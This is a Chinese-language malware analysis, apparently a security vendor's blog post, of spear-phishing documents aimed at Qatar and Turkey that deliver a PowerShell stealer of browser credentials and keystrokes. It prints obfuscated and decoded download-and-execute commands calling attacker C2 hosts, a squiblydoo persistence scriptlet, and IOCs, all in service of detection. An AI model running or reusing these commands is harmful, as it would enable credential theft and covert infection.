針對卡達和土耳其的魚叉式網路釣魚攻擊
在日常威脅活動追蹤中,我們瀏覽到一條推特,報道了一起針對土耳其的魚叉式網路釣魚攻擊活動,經過初步分析,我們決定展開進一步調查,最終發現它與其它最近活躍的威脅活動有相似之處,可能來自同一組織。
報道推文
推文連結: https://www.virustotal.com/#/file/1d2bbe3fd9021bbed4667628b86156bee8763b3d93cdac6de398c751a281a324/detection https://www.virustotal.com/#/file/bf4d4ee4a8e4472c7968586fa0318e556a89bfd94aeb4e72afd99ab340541770/detection
魚叉式網路釣魚檔案
經調查,在土耳其的魚叉式網路釣魚攻擊中使用的文件,與之前針對卡達的攻擊中使用的是一樣的。這個文件試圖引誘受害者開啟在伊斯坦布林舉行的AI Quds協會會議邀請函,AI Quds是一個致力於“協調國際議員支援巴勒斯坦”的委員會。
使用谷歌翻譯,幫助我們瞭解釣魚檔案的內容:
使用谷歌翻譯對釣魚檔案進行翻譯
邀請函邀請收件人蔘加12月13日至16日舉行的主題為“ 耶路撒冷是巴勒斯坦永恆的首都 ”的會議。然而在官網上,並沒查詢到與此會議相關的公告。
感染策略
新、舊惡意文件使用相同的感染策略:試圖誘導受害者點選“啟用內容”按鈕來執行惡意巨集:
嵌入的巨集通過命令呼叫powershell,然後執行從惡意主機下載的.ps1指令碼。
我們使用ReaQta-Hive對攻擊流程進行還原:
ReaQta-Hive還原攻擊流程
Winword.exe呼叫cmd.exe,並執行可疑命令:
"C:WindowsSystem32cmd.exe" /c " EcHo iEx ( new-oBjeCt sYStem.Io.COmPreSSiON.defLAtEstreAm([system.Io.mEmorYStrEAM] [ConVerT]::fRomBaSE64STRing( 'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/') , [sYsTEM.io.compressIOn.CoMpREssiOnmode]::DECOMPRESs )^^^| % {new-oBjeCt io.STreaMreader( $_, [TexT.ENCoDInG]::aSCii )} ).REadtOEnd() | pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -"
對混淆的命令列進行解密會導致實際的引數被傳遞到powershell.exe:
IEX (New-Object Net.WebClient).DownloadString('http://microsoftdata.linkpc.net/api/cscript')
引數傳遞給powershell時似乎使用了一種逃避命令列檢測的方法:
pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -
該引數直接與powershell.exe“互動”,這就是為什麼我們在powershell.exe命令列中看不到常見的的iEx […]
此時,powershell.exe 利用從hxxp:// microsoftdata [。] linkpc [。] net / api / cscript上下載的指令碼進行感染,下面是指令碼的部分內容:
部分惡意指令碼
powershell指令碼主要用於竊取來自Chrome,Opera和Firefox的cookie,會話,登入憑證,還有一個鍵盤記錄模組。竊取的資料會被上傳到此C2伺服器:
hxxp://microsoftdata[.]linkpc[.]net
該指令碼下載與瀏覽器本地資料庫互動所需的sqlite資料庫 DLL檔案 。
它建立一個全域性互斥體 GlobalrYF1pgeADA 以避免多個竊取程式同時執行,並對鍵盤記錄器進行初始化,執行資訊竊取功能,最後持久駐存。
資訊竊取程式碼(部分)
應該特別注意永續性機制:它通過定時任務發起 squiblydoo攻擊 :
永續性機術
定時任務
然後將執行以下scriptlet:
<?XML version="1.0"?> <scriptlet> <registration progid="rYF1pgeADA" classid="{3cf925ab-14c5-4324-9b5c-bbe294ac03a0}" > <script language="JScript"> <![CDATA[ p = 'Powershell'; c = ' -WiND hiDdeN -nOproFILe -eXeCUTiON bypaSS -Nol -ComMa"iEx ( new-oBjeCtsYStem.Io.COmPreSSiON.defLAtEstreAm([system.Io.mEmorYStrEAM] [ConVerT]::fRomBaSE64STRing( 'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/') , [sYsTEM.io.compressIOn.CoMpREssiOnmode]::DECOMPRESs )| % {new-oBjeCt io.STreaMreader( $_, [TexT.ENCoDInG]::aSCii )} ).REadtOEnd() "'; r = new ActiveXObject("WScript.Shell").Run(p + c,0,false); ]]> </script> </registration> </scriptlet>
攻擊流程進行了還原如下:
竊密指令碼功能
如上所述,在魚叉式網路釣魚攻擊中下載的指令碼有竊取Chrome / Firefox / Opera 瀏覽器cookie和登入憑證、鍵盤記錄器、永續性駐存等功能,並使用定時任務執行squiblydoo攻擊。還可以從C2下載定製的指令碼,這意味著攻擊者可以隨意擴充套件其攻擊手段:
我們給出功能列表,以供參考:
function Set-Key function Set-EncryptedData function Uid functionCookiesTo-MYJson ([System.Collections.ArrayList] $ArrayList) functionPasswordsTo-MYJson ([System.Collections.ArrayList] $ArrayList) function unProtecte ($data) function ChromeDB function FirefoxDB function OperaDB function Add-SQLite ($link) function urlPOST($link,$data) function OperaSESSION ($SQLiteDB,$search,$condition) function FirefoxSESSION ($SQLiteDB,$search,$condition) function ChromeSESSION ($SQLiteDB,$search,$condition) function ChromePASS ($SQLiteDB) function BrowsersLOGINS function _sct function InstallSCT function BrowsersPS function BrowsersLOGGER function InitLOGGER function BrowsersCOOKIES ($website,$cname)
鍵盤記錄器相關程式碼似乎是從這個github庫獲取的:
https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Start-KeyLogger/Start-KeyLogger.ps1
C2及歷史樣本
C2呈現一個很有趣的特點,那就是URL的路徑始終是:/ api / {endpoint}:
http://{$domain}/api/cscript http://{$domain}/api/pscript http://{$domain}/api/logger/submit http://{$domain}/api/chrome/submit http://{$domain}/api/firefox/submit http://{$domain}/api/opera/submit http://{$domain}/assest/sqlite
根據這個資訊,我們發現了在之前的魚叉式網路釣魚攻擊中採用此種路徑的其他樣本:
正如文章開始所提到的,這個舊樣本是在針對卡達的攻擊中發現的,攻擊者當時冒充了 卡達慈善機構 。
該樣本最初是在2018年8月初發現的,與當前版本相比,只有少量程式碼做了改動,主要是對行為,永續性和指令碼程式碼進行了微調:
舊樣本攻擊流程還原
我們已經上傳了樣本,VirusTotal 的行為分析 如下 。可以看到cmd.exe的命令未做混淆處理處理:
"C:WindowsSystem32cmd.exe" /C"EchoIEX (New-Object Net.WebClient).DownloadString('http://4host.publicvm.com/api/cscript') | PowersHell -NOpROfIL -eX BYpAss -NOlOgo -wiNdoWs HiDdEN -noeXIt -noNI -"
下面對新舊powershell指令碼功能進行對比:
歷史C2:
hxxp://4host[.]publicvm[.]com/
程式碼變化
下面這個表對元資料的變化進行了對比說明:
我們觀察到的另一個共同點是:這兩個域名使用了相同的動態DNS服務: DNSExit 。
域名linkpc
域名publicvm
結語
這種攻擊很有意思,既因為它潛在的攻擊目標,也因為所採用的技術:攻擊者使用二進位制檔案通過powershell進行惡意攻擊、用定時任務發動squiblydoo攻擊實現永續性、對惡意命令進行混淆、使用難以檢測的互動技術。這個威脅組織似乎很活躍,所監測到的檔案證明了這些行動可能是出於政治動機,而不是單純的網路犯罪活動。
魚叉式網路釣魚攻擊仍然是現如今最有效的攻擊手段之一,即使有安全意識的人也可能中招。 ReaQta-Hive通過人工智慧自動檢測目標威脅(如上文中的分析),使安全分析師能夠深入威脅活動,發現異常行為。二進位制payload難以檢測,因此針對計算機記憶體的威脅攻擊很容易繞過傳統的防禦機制,並且很難取證。可以與我們聯絡,通過現場演示來指導如何快速解決此類威脅。
IOCs
1d2bbe3fd9021bbed4667628b86156bee8763b3d93cdac6de398c751a281a324 دعوة.doc bf4d4ee4a8e4472c7968586fa0318e556a89bfd94aeb4e72afd99ab340541770 إستمارة.doc 7a26d5b600a078816beb3a2849827fa7d45ec85ec6c3343b3857f10edfece74c cscript.ps1 hxxp://microsoftdata[.]linkpc[.]net 7c8cf1e3ec35a6f604699f6481f3463e9ae19c93b8efd861b914c8260304d314 qatar.doc hxxp://4host[.]publicvm[.]com GlobalrYF1pgeADA mutex GlobalwfCQnIo2G7 mutex http://{$domain}/api/cscript http://{$domain}/api/pscript http://{$domain}/api/logger/submit http://{$domain}/api/chrome/submit http://{$domain}/api/firefox/submit http://{$domain}/api/opera/submit http://{$domain}/assest/sqlite rYF1pgeADA scheduled task name wfCQnIo2G7 scheduled task name